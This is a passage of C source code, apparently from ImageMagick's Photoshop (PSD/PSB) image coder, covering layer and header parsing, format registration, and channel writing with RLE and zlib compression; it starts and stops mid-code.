y=ReadBlobSignedLong(image); x=ReadBlobSignedLong(image); layer_info[i].page.width=(size_t) (x-layer_info[i].page.x); layer_info[i].page.height=(size_t) (y-layer_info[i].page.y); layer_info[i].channels=ReadBlobShort(image); if (layer_info[i].channels > MaxPSDChannels) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError,"MaximumChannelsExceeded", image->filename); } if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " offset(%.20g,%.20g), size(%.20g,%.20g), channels=%.20g", (double) layer_info[i].page.x,(double) layer_info[i].page.y, (double) layer_info[i].page.height,(double) layer_info[i].page.width,(double) layer_info[i].channels); for (j=0; j < (ssize_t) layer_info[i].channels; j++) { layer_info[i].channel_info[j].type=(short) ReadBlobShort(image); layer_info[i].channel_info[j].size=(size_t) GetPSDSize(psd_info, image); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " channel[%.20g]: type=%.20g, size=%.20g",(double) j, (double) layer_info[i].channel_info[j].type, (double) layer_info[i].channel_info[j].size); } count=ReadBlob(image,4,(unsigned char *) type); ReversePSDString(image,type,4); if ((count == 0) || (LocaleNCompare(type,"8BIM",4) != 0)) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer type was %.4s instead of 8BIM", type); layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError,"ImproperImageHeader", image->filename); } (void) ReadBlob(image,4,(unsigned char *) layer_info[i].blendkey); ReversePSDString(image,layer_info[i].blendkey,4); layer_info[i].opacity=(Quantum) ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); layer_info[i].clipping=(unsigned char) ReadBlobByte(image); layer_info[i].flags=(unsigned char) ReadBlobByte(image); layer_info[i].visible=!(layer_info[i].flags & 0x02); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " blend=%.4s, opacity=%.20g, clipping=%s, flags=%d, visible=%s", layer_info[i].blendkey,(double) layer_info[i].opacity, layer_info[i].clipping ? "true" : "false",layer_info[i].flags, layer_info[i].visible ? "true" : "false"); (void) ReadBlobByte(image); /* filler */ size=ReadBlobLong(image); if (size != 0) { MagickSizeType combined_length, length; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer contains additional info"); length=ReadBlobLong(image); combined_length=length+4; if (length != 0) { /* Layer mask info. */ layer_info[i].mask.page.y=ReadBlobSignedLong(image); layer_info[i].mask.page.x=ReadBlobSignedLong(image); layer_info[i].mask.page.height=(size_t) (ReadBlobLong(image)- layer_info[i].mask.page.y); layer_info[i].mask.page.width=(size_t) (ReadBlobLong(image)- layer_info[i].mask.page.x); layer_info[i].mask.background=(unsigned char) ReadBlobByte( image); layer_info[i].mask.flags=(unsigned char) ReadBlobByte(image); if (!(layer_info[i].mask.flags & 0x01)) { layer_info[i].mask.page.y=layer_info[i].mask.page.y- layer_info[i].page.y; layer_info[i].mask.page.x=layer_info[i].mask.page.x- layer_info[i].page.x; } if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer mask: offset(%.20g,%.20g), size(%.20g,%.20g), length=%.20g", (double) layer_info[i].mask.page.x,(double) layer_info[i].mask.page.y,(double) layer_info[i].mask.page.width, (double) layer_info[i].mask.page.height,(double) ((MagickOffsetType) length)-18); /* Skip over the rest of the layer mask information. */ if (DiscardBlobBytes(image,(MagickSizeType) (length-18)) == MagickFalse) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError,"UnexpectedEndOfFile", image->filename); } } length=ReadBlobLong(image); combined_length+=length+4; if (length != 0) { /* Layer blending ranges info. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer blending ranges: length=%.20g",(double) ((MagickOffsetType) length)); /* We read it, but don't use it... */ for (j=0; j < (ssize_t) length; j+=8) { size_t blend_source=ReadBlobLong(image); size_t blend_dest=ReadBlobLong(image); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " source(%x), dest(%x)",(unsigned int) blend_source,(unsigned int) blend_dest); } } /* Layer name. */ length=(MagickSizeType) (unsigned char) ReadBlobByte(image); combined_length+=length+1; if (length > 0) (void) ReadBlob(image,(size_t) length++,layer_info[i].name); layer_info[i].name[length]='\0'; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer name: %s",layer_info[i].name); if ((length % 4) != 0) { length=4-(length % 4); combined_length+=length; /* Skip over the padding of the layer name */ if (DiscardBlobBytes(image,length) == MagickFalse) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError, "UnexpectedEndOfFile",image->filename); } } length=(MagickSizeType) size-combined_length; if (length > 0) { unsigned char *info; layer_info[i].info=AcquireStringInfo((const size_t) length); info=GetStringInfoDatum(layer_info[i].info); (void) ReadBlob(image,(const size_t) length,info); } } } for (i=0; i < number_layers; i++) { if ((layer_info[i].page.width == 0) || (layer_info[i].page.height == 0)) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is empty"); if (layer_info[i].info != (StringInfo *) NULL) layer_info[i].info=DestroyStringInfo(layer_info[i].info); continue; } /* Allocate layered image. */ layer_info[i].image=CloneImage(image,layer_info[i].page.width, layer_info[i].page.height,MagickFalse,exception); if (layer_info[i].image == (Image *) NULL) { layer_info=DestroyLayerInfo(layer_info,number_layers); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " allocation of image for layer %.20g failed",(double) i); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } if (layer_info[i].info != (StringInfo *) NULL) { (void) SetImageProfile(layer_info[i].image,"psd:additional-info", layer_info[i].info); layer_info[i].info=DestroyStringInfo(layer_info[i].info); } } if (image_info->ping == MagickFalse) { for (i=0; i < number_layers; i++) { if (layer_info[i].image == (Image *) NULL) { for (j=0; j < layer_info[i].channels; j++) { if (DiscardBlobBytes(image,(MagickSizeType) layer_info[i].channel_info[j].size) == MagickFalse) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError, "UnexpectedEndOfFile",image->filename); } } continue; } if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading data for layer %.20g",(double) i); status=ReadPSDLayer(image,image_info,psd_info,&layer_info[i], exception); if (status == MagickFalse) break; status=SetImageProgress(image,LoadImagesTag,i,(MagickSizeType) number_layers); if (status == MagickFalse) break; } } if (status != MagickFalse) { for (i=0; i < number_layers; i++) { if (layer_info[i].image == (Image *) NULL) { for (j=i; j < number_layers - 1; j++) layer_info[j] = layer_info[j+1]; number_layers--; i--; } } if (number_layers > 0) { for (i=0; i < number_layers; i++) { if (i > 0) layer_info[i].image->previous=layer_info[i-1].image; if (i < (number_layers-1)) layer_info[i].image->next=layer_info[i+1].image; layer_info[i].image->page=layer_info[i].page; } image->next=layer_info[0].image; layer_info[0].image->previous=image; } layer_info=(LayerInfo *) RelinquishMagickMemory(layer_info); } else layer_info=DestroyLayerInfo(layer_info,number_layers); } return(status); } static MagickBooleanType ReadPSDMergedImage(const ImageInfo *image_info, Image* image,const PSDInfo* psd_info,ExceptionInfo *exception) { MagickOffsetType *sizes; MagickBooleanType status; PSDCompressionType compression; register ssize_t i; compression=(PSDCompressionType) ReadBlobMSBShort(image); image->compression=ConvertPSDCompression(compression); if (compression != Raw && compression != RLE) { (void) ThrowMagickException(exception,GetMagickModule(), TypeWarning,"CompressionNotSupported","'%.20g'",(double) compression); return(MagickFalse); } sizes=(MagickOffsetType *) NULL; if (compression == RLE) { sizes=ReadPSDRLESizes(image,psd_info,image->rows*psd_info->channels); if (sizes == (MagickOffsetType *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } status=MagickTrue; for (i=0; i < (ssize_t) psd_info->channels; i++) { if (compression == RLE) status=ReadPSDChannelRLE(image,psd_info,i,sizes+(i*image->rows), exception); else status=ReadPSDChannelRaw(image,psd_info->channels,i,exception); if (status != MagickFalse) status=SetImageProgress(image,LoadImagesTag,i,psd_info->channels); if (status == MagickFalse) break; } if ((status != MagickFalse) && (image->colorspace == CMYKColorspace)) status=NegateImage(image,MagickFalse); if (status != MagickFalse) status=CorrectPSDAlphaBlend(image_info,image,exception); sizes=(MagickOffsetType *) RelinquishMagickMemory(sizes); return(status); } static Image *ReadPSDImage(const ImageInfo *image_info,ExceptionInfo *exception) { Image *image; MagickBooleanType has_merged_image, skip_layers; MagickOffsetType offset; MagickSizeType length; MagickBooleanType status; PSDInfo psd_info; register ssize_t i; ssize_t count; unsigned char *data; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); image=AcquireImage(image_info); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Read image header. */ image->endian=MSBEndian; count=ReadBlob(image,4,(unsigned char *) psd_info.signature); psd_info.version=ReadBlobMSBShort(image); if ((count == 0) || (LocaleNCompare(psd_info.signature,"8BPS",4) != 0) || ((psd_info.version != 1) && (psd_info.version != 2))) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); (void) ReadBlob(image,6,psd_info.reserved); psd_info.channels=ReadBlobMSBShort(image); if (psd_info.channels > MaxPSDChannels) ThrowReaderException(CorruptImageError,"MaximumChannelsExceeded"); psd_info.rows=ReadBlobMSBLong(image); psd_info.columns=ReadBlobMSBLong(image); if ((psd_info.version == 1) && ((psd_info.rows > 30000) || (psd_info.columns > 30000))) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); psd_info.depth=ReadBlobMSBShort(image); if ((psd_info.depth != 1) && (psd_info.depth != 8) && (psd_info.depth != 16)) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); psd_info.mode=ReadBlobMSBShort(image); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Image is %.20g x %.20g with channels=%.20g, depth=%.20g, mode=%s", (double) psd_info.columns,(double) psd_info.rows,(double) psd_info.channels,(double) psd_info.depth,ModeToString((PSDImageType) psd_info.mode)); /* Initialize image. */ image->depth=psd_info.depth; image->columns=psd_info.columns; image->rows=psd_info.rows; status=SetImageExtent(image,image->columns,image->rows); if (status == MagickFalse) { InheritException(exception,&image->exception); return(DestroyImageList(image)); } if (SetImageBackgroundColor(image) == MagickFalse) { InheritException(exception,&image->exception); image=DestroyImageList(image); return((Image *) NULL); } if (psd_info.mode == LabMode) SetImageColorspace(image,LabColorspace); if (psd_info.mode == CMYKMode) { SetImageColorspace(image,CMYKColorspace); image->matte=psd_info.channels > 4 ? MagickTrue : MagickFalse; } else if ((psd_info.mode == BitmapMode) || (psd_info.mode == GrayscaleMode) || (psd_info.mode == DuotoneMode)) { status=AcquireImageColormap(image,psd_info.depth != 16 ? 256 : 65536); if (status == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Image colormap allocated"); SetImageColorspace(image,GRAYColorspace); image->matte=psd_info.channels > 1 ? MagickTrue : MagickFalse; } else image->matte=psd_info.channels > 3 ? MagickTrue : MagickFalse; /* Read PSD raster colormap only present for indexed and duotone images. */ length=ReadBlobMSBLong(image); if (length != 0) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading colormap"); if (psd_info.mode == DuotoneMode) { /* Duotone image data; the format of this data is undocumented. */ data=(unsigned char *) AcquireQuantumMemory((size_t) length, sizeof(*data)); if (data == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); (void) ReadBlob(image,(size_t) length,data); data=(unsigned char *) RelinquishMagickMemory(data); } else { size_t number_colors; /* Read PSD raster colormap. */ number_colors=length/3; if (number_colors > 65536) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); if (AcquireImageColormap(image,number_colors) == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); for (i=0; i < (ssize_t) image->colors; i++) image->colormap[i].red=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); for (i=0; i < (ssize_t) image->colors; i++) image->colormap[i].green=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); for (i=0; i < (ssize_t) image->colors; i++) image->colormap[i].blue=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); image->matte=MagickFalse; } } if ((image->depth == 1) && (image->storage_class != PseudoClass)) ThrowReaderException(CorruptImageError, "ImproperImageHeader"); has_merged_image=MagickTrue; length=ReadBlobMSBLong(image); if (length != 0) { unsigned char *blocks; /* Image resources block. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading image resource blocks - %.20g bytes",(double) ((MagickOffsetType) length)); blocks=(unsigned char *) AcquireQuantumMemory((size_t) length, sizeof(*blocks)); if (blocks == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); count=ReadBlob(image,(size_t) length,blocks); if ((count != (ssize_t) length) || (length < 4) || (LocaleNCompare((char *) blocks,"8BIM",4) != 0)) { blocks=(unsigned char *) RelinquishMagickMemory(blocks); ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } ParseImageResourceBlocks(image,blocks,(size_t) length,&has_merged_image); blocks=(unsigned char *) RelinquishMagickMemory(blocks); } /* Layer and mask block. */ length=GetPSDSize(&psd_info,image); if (length == 8) { length=ReadBlobMSBLong(image); length=ReadBlobMSBLong(image); } offset=TellBlob(image); skip_layers=MagickFalse; if ((image_info->number_scenes == 1) && (image_info->scene == 0) && (has_merged_image != MagickFalse)) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " read composite only"); skip_layers=MagickTrue; } if (length == 0) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image has no layers"); } else { if (ReadPSDLayers(image,image_info,&psd_info,skip_layers,exception) != MagickTrue) { (void) CloseBlob(image); image=DestroyImageList(image); return((Image *) NULL); } /* Skip the rest of the layer and mask information. */ SeekBlob(image,offset+length,SEEK_SET); } /* If we are only "pinging" the image, then we're done - so return. */ if (image_info->ping != MagickFalse) { (void) CloseBlob(image); return(GetFirstImageInList(image)); } /* Read the precombined layer, present for PSD < 4 compatibility. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading the precombined layer"); if (has_merged_image != MagickFalse || GetImageListLength(image) == 1) has_merged_image=(MagickBooleanType) ReadPSDMergedImage(image_info,image, &psd_info,exception); if ((has_merged_image == MagickFalse) && (GetImageListLength(image) == 1) && (length != 0)) { SeekBlob(image,offset,SEEK_SET); status=ReadPSDLayers(image,image_info,&psd_info,MagickFalse,exception); if (status != MagickTrue) { (void) CloseBlob(image); image=DestroyImageList(image); return((Image *) NULL); } } if (has_merged_image == MagickFalse) { Image *merged; if (GetImageListLength(image) == 1) ThrowReaderException(CorruptImageError,"InsufficientImageDataInFile"); SetImageAlphaChannel(image,TransparentAlphaChannel); image->background_color.opacity=TransparentOpacity; merged=MergeImageLayers(image,FlattenLayer,exception); ReplaceImageInList(&image,merged); } (void) CloseBlob(image); return(GetFirstImageInList(image)); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e g i s t e r P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % RegisterPSDImage() adds properties for the PSD image format to % the list of supported formats. The properties include the image format % tag, a method to read and/or write the format, whether the format % supports the saving of more than one frame to the same file or blob, % whether the format supports native in-memory I/O, and a brief % description of the format. % % The format of the RegisterPSDImage method is: % % size_t RegisterPSDImage(void) % */ ModuleExport size_t RegisterPSDImage(void) { MagickInfo *entry; entry=SetMagickInfo("PSB"); entry->decoder=(DecodeImageHandler *) ReadPSDImage; entry->encoder=(EncodeImageHandler *) WritePSDImage; entry->magick=(IsImageFormatHandler *) IsPSD; entry->seekable_stream=MagickTrue; entry->description=ConstantString("Adobe Large Document Format"); entry->module=ConstantString("PSD"); (void) RegisterMagickInfo(entry); entry=SetMagickInfo("PSD"); entry->decoder=(DecodeImageHandler *) ReadPSDImage; entry->encoder=(EncodeImageHandler *) WritePSDImage; entry->magick=(IsImageFormatHandler *) IsPSD; entry->seekable_stream=MagickTrue; entry->description=ConstantString("Adobe Photoshop bitmap"); entry->module=ConstantString("PSD"); (void) RegisterMagickInfo(entry); return(MagickImageCoderSignature); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % U n r e g i s t e r P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % UnregisterPSDImage() removes format registrations made by the % PSD module from the list of supported formats. % % The format of the UnregisterPSDImage method is: % % UnregisterPSDImage(void) % */ ModuleExport void UnregisterPSDImage(void) { (void) UnregisterMagickInfo("PSB"); (void) UnregisterMagickInfo("PSD"); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % W r i t e P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % WritePSDImage() writes an image in the Adobe Photoshop encoded image format. % % The format of the WritePSDImage method is: % % MagickBooleanType WritePSDImage(const ImageInfo *image_info,Image *image) % % A description of each parameter follows. % % o image_info: the image info. % % o image: The image. % */ static inline ssize_t SetPSDOffset(const PSDInfo *psd_info,Image *image, const size_t offset) { if (psd_info->version == 1) return(WriteBlobMSBShort(image,(unsigned short) offset)); return(WriteBlobMSBLong(image,(unsigned short) offset)); } static inline ssize_t WritePSDOffset(const PSDInfo *psd_info,Image *image, const MagickSizeType size,const MagickSizeType offset) { MagickSizeType current_offset; ssize_t result; current_offset=TellBlob(image); SeekBlob(image,offset,SEEK_SET); if (psd_info->version == 1) result=WriteBlobMSBShort(image,(unsigned short) size); else result=(WriteBlobMSBLong(image,(unsigned short) size)); SeekBlob(image,current_offset,SEEK_SET); return(result); } static inline ssize_t SetPSDSize(const PSDInfo *psd_info,Image *image, const MagickSizeType size) { if (psd_info->version == 1) return(WriteBlobMSBLong(image,(unsigned int) size)); return(WriteBlobMSBLongLong(image,size)); } static inline ssize_t WritePSDSize(const PSDInfo *psd_info,Image *image, const MagickSizeType size,const MagickSizeType offset) { MagickSizeType current_offset; ssize_t result; current_offset=TellBlob(image); SeekBlob(image,offset,SEEK_SET); if (psd_info->version == 1) result=WriteBlobMSBLong(image,(unsigned int) size); else result=WriteBlobMSBLongLong(image,size); SeekBlob(image,current_offset,SEEK_SET); return(result); } static size_t PSDPackbitsEncodeImage(Image *image,const size_t length, const unsigned char *pixels,unsigned char *compact_pixels) { int count; register ssize_t i, j; register unsigned char *q; unsigned char *packbits; /* Compress pixels with Packbits encoding. */ assert(image != (Image *) NULL); assert(image->signature == MagickSignature); if (image->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename); assert(pixels != (unsigned char *) NULL); assert(compact_pixels != (unsigned char *) NULL); packbits=(unsigned char *) AcquireQuantumMemory(128UL,sizeof(*packbits)); if (packbits == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); q=compact_pixels; for (i=(ssize_t) length; i != 0; ) { switch (i) { case 1: { i--; *q++=(unsigned char) 0; *q++=(*pixels); break; } case 2: { i-=2; *q++=(unsigned char) 1; *q++=(*pixels); *q++=pixels[1]; break; } case 3: { i-=3; if ((*pixels == *(pixels+1)) && (*(pixels+1) == *(pixels+2))) { *q++=(unsigned char) ((256-3)+1); *q++=(*pixels); break; } *q++=(unsigned char) 2; *q++=(*pixels); *q++=pixels[1]; *q++=pixels[2]; break; } default: { if ((*pixels == *(pixels+1)) && (*(pixels+1) == *(pixels+2))) { /* Packed run. */ count=3; while (((ssize_t) count < i) && (*pixels == *(pixels+count))) { count++; if (count >= 127) break; } i-=count; *q++=(unsigned char) ((256-count)+1); *q++=(*pixels); pixels+=count; break; } /* Literal run. */ count=0; while ((*(pixels+count) != *(pixels+count+1)) || (*(pixels+count+1) != *(pixels+count+2))) { packbits[count+1]=pixels[count]; count++; if (((ssize_t) count >= (i-3)) || (count >= 127)) break; } i-=count; *packbits=(unsigned char) (count-1); for (j=0; j <= (ssize_t) count; j++) *q++=packbits[j]; pixels+=count; break; } } } *q++=(unsigned char) 128; /* EOD marker */ packbits=(unsigned char *) RelinquishMagickMemory(packbits); return((size_t) (q-compact_pixels)); } static size_t WriteCompressionStart(const PSDInfo *psd_info,Image *image, const Image *next_image,const ssize_t channels) { size_t length; ssize_t i, y; if (next_image->compression == RLECompression) { length=WriteBlobMSBShort(image,RLE); for (i=0; i < channels; i++) for (y=0; y < (ssize_t) next_image->rows; y++) length+=SetPSDOffset(psd_info,image,0); } #ifdef MAGICKCORE_ZLIB_DELEGATE else if (next_image->compression == ZipCompression) length=WriteBlobMSBShort(image,ZipWithoutPrediction); #endif else length=WriteBlobMSBShort(image,Raw); return(length); } static size_t WritePSDChannel(const PSDInfo *psd_info, const ImageInfo *image_info,Image *image,Image *next_image, const QuantumType quantum_type, unsigned char *compact_pixels, MagickOffsetType size_offset,const MagickBooleanType separate) { int y; MagickBooleanType monochrome; QuantumInfo *quantum_info; register const PixelPacket *p; register ssize_t i; size_t count, length; unsigned char *pixels; #ifdef MAGICKCORE_ZLIB_DELEGATE #define CHUNK 16384 int flush, level; unsigned char *compressed_pixels; z_stream stream; compressed_pixels=(unsigned char *) NULL; flush=Z_NO_FLUSH; #endif count=0; if (separate != MagickFalse) { size_offset=TellBlob(image)+2; count+=WriteCompressionStart(psd_info,image,next_image,1); } if (next_image->depth > 8) next_image->depth=16; monochrome=IsMonochromeImage(image,&image->exception) && (image->depth == 1) ? MagickTrue : MagickFalse; quantum_info=AcquireQuantumInfo(image_info,next_image); if (quantum_info == (QuantumInfo *) NULL) return(0); pixels=GetQuantumPixels(quantum_info); #ifdef MAGICKCORE_ZLIB_DELEGATE if (next_image->compression == ZipCompression) { compressed_pixels=(unsigned char *) AcquireQuantumMemory(CHUNK, sizeof(*compressed_pixels)); if (compressed_pixels == (unsigned char *) NULL) { quantum_info=DestroyQuantumInfo(quantum_info); return(0); } ResetMagickMemory(&stream,0,sizeof(stream)); stream.data_type=Z_BINARY; level=Z_DEFAULT_COMPRESSION; if ((image_info->quality > 0 && image_info->quality < 10)) level=(int) image_info->quality; if (deflateInit(&stream,level) != Z_OK) { quantum_info=DestroyQuantumInfo(quantum_info); return(0); } } #endif for (y=0; y < (ssize_t) next_image->rows; y++) { p=GetVirtualPixels(next_image,0,y,next_image->columns,1,&image->exception); if (p == (const PixelPacket *) NULL) break; length=ExportQuantumPixels(next_image,(CacheView *) NULL,quantum_info, quantum_type,pixels,&image->exception); if (monochrome != MagickFalse) for (i=0; i < (ssize_t) length; i++) pixels[i]=(~pixels[i]); if (next_image->compression == RLECompression) { length=PSDPackbitsEncodeImage(image,length,pixels,compact_pixels); count+=WriteBlob(image,length,compact_pixels); size_offset+=WritePSDOffset(psd_info,image,length,size_offset); } #ifdef MAGICKCORE_ZLIB_DELEGATE else if (next_image->compression == ZipCompression) { stream.avail_in=(uInt) length; stream.next_in=(Bytef *) pixels; if (y == (ssize_t) next_image->rows-1) flush=Z_FINISH; do { stream.avail_out=(uInt) CHUNK; stream.next_out=(Bytef *) compressed_pixels; if (deflate(&stream,flush) == Z_STREAM_ERROR) break; length=(size_t) CHUNK-stream.avail_out; if (length > 0) count+=WriteBlob(image,length,compressed_pixels); } while (stream.avail_out == 0); } #endif else count+=WriteBlob(image,length,pixels); } #ifdef MAGICKCORE_ZLIB_DELEGATE if (next_image->compression == ZipCompression) { (void) deflateEnd(&stream); compressed_pixels=(unsigned char *) RelinquishMagickMemory( compressed_pixels); } #endif quantum_info=DestroyQuantumInfo(quantum_info); return(count); } static unsigned char *AcquireCompactPixels(Image *image) { size_t packet_size; unsigned char *compact_pixels; packet_size=image->depth > 8UL ? 2UL : 1UL; compact_pixels=(unsigned char *) AcquireQuantumMemory((9* image->columns)+1,packet_size*sizeof(*compact_pixels)); if (compact_pixels == (unsigned char *) NULL) { (void) ThrowMagickException(&image->exception,GetMagickModule(), ResourceLimitError,"MemoryAllocationFailed","`%s'", image->filename); } return(compact_pixels); } static ssize_t WritePSDChannels(const PSDInfo *psd_info, const ImageInfo *image_info,Image *image,Image *next_image, MagickOffsetType size_offset,const MagickBooleanType separate) { Image *mask; MagickOffsetType rows_offset; size_t channels, count, length, offset_length; unsigned char *compact_pixels; count=0; offset_length=0; rows_offset=0; compact_pixels=(unsigned char *) NULL; if (next_image->compression == RLECompression) { compact_pixels=AcquireCompactPixels(next_image); if (compact_pixels == (unsigned char *) NULL) return(0); } channels=1; if (separate == MagickFalse) { if (next_image->storage_class != PseudoClass) { if (IsGrayImage(next_image,&next_image->exception) == MagickFalse) channels=next_image->colorspace == CMYKColorspace ? 4 : 3; if (next_image->matte != MagickFalse) channels++; } rows_offset=TellBlob(image)+2; count+=WriteCompressionStart(psd_info,image,next_image,channels); offset_length=(next_image->rows*(psd_info->version == 1 ? 2 : 4)); } size_offset+=2; if (next_image->storage_class == PseudoClass) { length=WritePSDChannel(psd_info,image_info,image,next_image, IndexQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; } else { if (IsGrayImage(next_image,&next_image->exception) != MagickFalse) { length=WritePSDChannel(psd_info,image_info,image,next_image, GrayQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; } else { if (next_image->colorspace == CMYKColorspace) (void) NegateImage(next_image,MagickFalse); length=WritePSDChannel(psd_info,image_info,image,next_image, RedQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; length=WritePSDChannel(psd_info,image_info,image,next_image, GreenQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; length=WritePSDChannel(psd_info,image_info,image,next_image, BlueQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; if (next_image->colorspace == CMYKColorspace) { length=WritePSDChannel(psd_info,image_info,image,next_image, BlackQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; } } if (next_image->matte != MagickFalse) { length=WritePSDChannel(psd_info,image_info,image,next_image, AlphaQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; } } compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); if (next_image->colorspace == CMYKColorspace) (void) NegateImage(next_image,MagickFalse); if (separate != MagickFalse) { const char *property; property=GetImageArtifact(next_image,"psd:opacity-mask"); if (property != (const char *) NULL) { mask=(Image *) GetImageRegistry(ImageRegistryType,property, &image->exception); if (mask != (Image *) NULL) { if (mask->compression == RLECompression) { compact_pixels=AcquireCompactPixels(mask); if (compact_pixels == (unsigned char *) NULL) return(0); } length=WritePSDChannel(psd_info,image_info,image,mask, RedQuantum,compact_pixels,rows_offset,MagickTrue); (void) WritePSDSize(psd_info,image,length,size_offset); count+=length; compact_pixels=(unsigned char *) RelinquishMagickMemory( compact_pixels); } } } return(count); } static size_t WritePascalString(Image *image,const char *value,size_t padding) { size_t count, length; register ssize_t i; /* Max length is 255. */ count=0; length=(strlen(value) > 255UL ) ? 255UL : strlen(value); if (length == 0) count+=WriteBlobByte(image,0); else { count+=WriteBlobByte(image,(unsigned char) length); count+=WriteBlob(image,length,(const unsigned char *) value); } length++; if ((length % padding) == 0) return(count); for (i=0; i < (ssize_t) (padding-(length % padding)); i++) count+=WriteBlobByte(image,0); return(count); } static void WriteResolutionResourceBlock(Image *image) { double x_resolution, y_resolution; unsigned short units; if (image->units == PixelsPerCentimeterResolution) { x_resolution=2.54*65536.0*image->x_resolution+0.5; y_resolution=2.54*65536.0*image->y_resolution+0.5; units=2; } else { x_resolution=65536.0*image->x_resolution+0.5; y_resolution=65536.0*image->y_resolution+0.5; units=1; } (void) WriteBlob(image,4,(const unsigned char *) "8BIM"); (void) WriteBlobMSBShort(image,0x03ED); (void) WriteBlobMSBShort(image,0); (void) WriteBlobMSBLong(image,16); /* resource size */ (void) WriteBlobMSBLong(image,(unsigned int) (x_resolution+0.5)); (void) WriteBlobMSBShort(image,units); /* horizontal resolution unit */ (void) WriteBlobMSBShort(image,units); /* width unit */ 